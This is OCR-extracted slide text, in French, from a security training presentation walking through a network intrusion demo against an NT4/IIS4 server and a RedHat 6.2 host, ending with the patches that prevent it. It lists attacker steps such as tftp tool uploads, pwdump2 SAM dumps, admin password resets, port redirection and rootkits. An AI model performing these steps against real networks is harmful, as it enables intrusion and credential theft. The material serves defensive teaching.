Exemple d’intrusion dans un réseau




Plan 1

B Introduction et présentation du réseau ciblé
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Introduction Remarques préliminaires 3

B En raison des accords europeens sur la cybercriminalité signés a
Budapest le 23 novembre 2001, et notamment de l'article 6 de ces
accords, les noms de certains programmes utilisés dans cette
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Introduction Obijectifs de la démonstration 4

B Exposer quelques techniques utilisées par les pirates pour
énétrer un réseau
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Introduction Pare-feu 6

B Le pare-feu accepte :
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Introduction Les machines 7

B Le serveur NT
» seule machine visible de I'extérieur
» propose uniguement son service web
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Serveur NT Plan 10

B Description de la machine cible
» Systeme d’exploitation et niveau des correctifs
» Services installés

B Prise de controle de la machine
» Acces initial
» Installation des outils nécessaires
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Serveur NT | Compromission | Pérennisation | Exploitation 11

B Windows NT Server 4.0
M Service pack 6a
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M 1IS4.0
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B Recherche d’'une faille classique : directory traversal
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B Utilisation de tftp pour 'upload sur le serveur NT
» tftp -I <serveur tftp> get <fichier>
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B admin permet de lancer une commande avec les privileges
administrateur
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B pwdump?2 affiche la SAM dans un format lisible (les mots de
asse sont chiffrés
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B Modification du mot de passe administrateur
» net user administrateur <nouveau mot de passe>
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B Une fois cette machine compromise, elle peut servir de base pour
des attaques vers le reste du réseau
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Serveur Linux Plan 21

B Découverte de I'existence du serveur Linux
B Description de la machine cible

» Systeme d’exploitation

» Services installés
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B Deécouverte du réseau prive
» ipconfig /all
» route print
» arp -a
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B Linux RedHat 6.2 "vanilla" :
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B Acces a la machine Linux : redirection de ports
» upload d’'un redirecteur de ports sur le serveur NT (rinetd.exe)
» redirection du port 80 du serveur NT vers le port 21 du serveur
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B Ajout d'un compte privilégié

C GBI

CARTEL INFORMATIQUE — Cédric Blancher et Daniel Polombo



Serveur LInux Découverte | Description | Compromission | 26

B Installation d’un rootkit : LRK ou ADORE
» un rootkit est un ensemble d’outils installés par un pirate sur
une machine compromise pour masquer l'intrusion aux
administrateurs tout en maintenant son acces

» LRK fournit des exécutables modifiés
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B Un tunnel peut étre mis en place pour masquer I'acces a Internet
» Tunnel IP sur HTTP
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B Tout ceci aurait pu étre evite par I'application réguliere des
correctifs de securité se rapportant aux vulnérabilités suivantes :
» Advisory Microsoft MS00-078 (directory traversal)
» Advisory Microsoft MS00-003 (faille utiliseée par admin.exe)
» Advisory CERT CA-2000-13 (wu-ftpd site exec vulnerability)
» Vulnerability Note CERT VU-945216 et Incident Note
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